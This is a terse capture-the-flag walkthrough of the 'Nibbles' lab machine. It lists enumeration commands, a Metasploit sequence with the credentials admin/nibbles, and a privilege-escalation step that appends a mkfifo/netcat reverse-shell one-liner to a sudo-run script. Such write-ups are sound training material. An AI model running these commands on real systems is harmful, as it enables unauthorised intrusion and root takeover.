

NIBBLES MY WRITEUP

1. Enumeration:

- `nmap -sV --script=http-enum -oA nibbles_nmap_http_enum <IP>`

2. Web Footprinting:

- `gobuster dir -u http://10.129.42.190/nibbleblog/ -w /usr/share/dirb/wordlists/common.txt`

3. Initial Foothold:

- `nc -lvnp 9443`
- `cat /home/nibbler/user.txt`

4. Privilege Escalation:

- `unzip /home/nibbler/personal.zip`
- `cat monitor.sh`
- `sudo python3 -m http.server 8080`
- `echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh`
- `sudo /home/nibbler/personal/stuff/monitor.sh`
- `nc -lvnp 8443`
- `cat root.txt`

5. Metasploit:

- `Msfconsole`
- `Search nibbleblog`
- `Use 0`
- `Set rhost <IP>`
- `Set username admin`
- `Set password nibbles`
- `Set targeturi nibbleblog`
- `Set payload generic/shell_reverse_tcp`
- `Exploit`